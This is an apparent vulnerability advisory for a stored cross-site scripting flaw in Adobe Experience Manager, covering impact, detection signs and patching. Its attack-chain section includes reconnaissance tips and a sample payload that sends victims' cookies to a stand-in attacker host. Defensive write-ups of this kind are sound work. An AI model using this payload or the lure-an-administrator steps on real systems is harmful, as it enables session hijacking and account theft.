CVE-2025-64802: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64802 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises/LTS) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched the same day via Adobe Security Advisory APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) XSS variant. A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in the browser of any user who subsequently visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected content) but does not require elevated privileges beyond a basic authenticated session. Attack patterns associated with this vulnerability include CAPEC-592 (Stored XSS) and CAPEC-588 (DOM-Based XSS) (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The scope is marked as "Changed," meaning the injected script can affect resources beyond the attacker's own session. Confidentiality and integrity impacts are rated Low, with no direct availability impact; however, chained with other vulnerabilities or social engineering, the risk to sensitive AEM-managed content and user accounts can be significant (Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan/Censys searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account, as authentication is required.
3. Identify vulnerable form fields: Navigate AEM authoring interfaces to locate form fields that accept and store user-supplied input without adequate sanitization (e.g., text fields in page properties, content fragments, or custom components).
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Lure a higher-privileged user (e.g., AEM administrator) to browse the page containing the injected content, causing the malicious script to execute in their browser context, enabling session token theft or unauthorized actions (Adobe Advisory).

• Logs: AEM access logs showing POST requests to authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing HTML/JavaScript tags or encoded XSS payloads in request bodies.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-authored pages; unusual cookie or session data exfiltration patterns.
• File System / Content Repository: Presence of <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded equivalents (<script>) stored within AEM JCR content nodes or page properties.
• Process/Application: AEM error logs showing unexpected JavaScript rendering or Content Security Policy (CSP) violation reports if CSP is enabled.

Adobe has released patches addressing CVE-2025-64802 in AEM 6.5 Service Pack 24 (version 6.5.24.0) and AEM Cloud Service release 2025.12.0. Organizations should upgrade AEM on-premises instances to 6.5.24.0 or later, and ensure AEM Cloud Service environments are updated to the December 2025 release. As a compensating control, restrict authoring access to trusted users only and consider implementing a Content Security Policy (CSP) to limit the impact of any XSS execution. Use the Tenable Nessus plugin 278346 to verify patch status across AEM deployments (Adobe Advisory, Tenable).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including CVE-2025-64802, that could allow for arbitrary code execution and other impacts, recommending prompt patching (CIS Advisory). No significant independent researcher commentary or notable social media discussion specific to this CVE has been identified beyond standard vulnerability tracking and scanner coverage.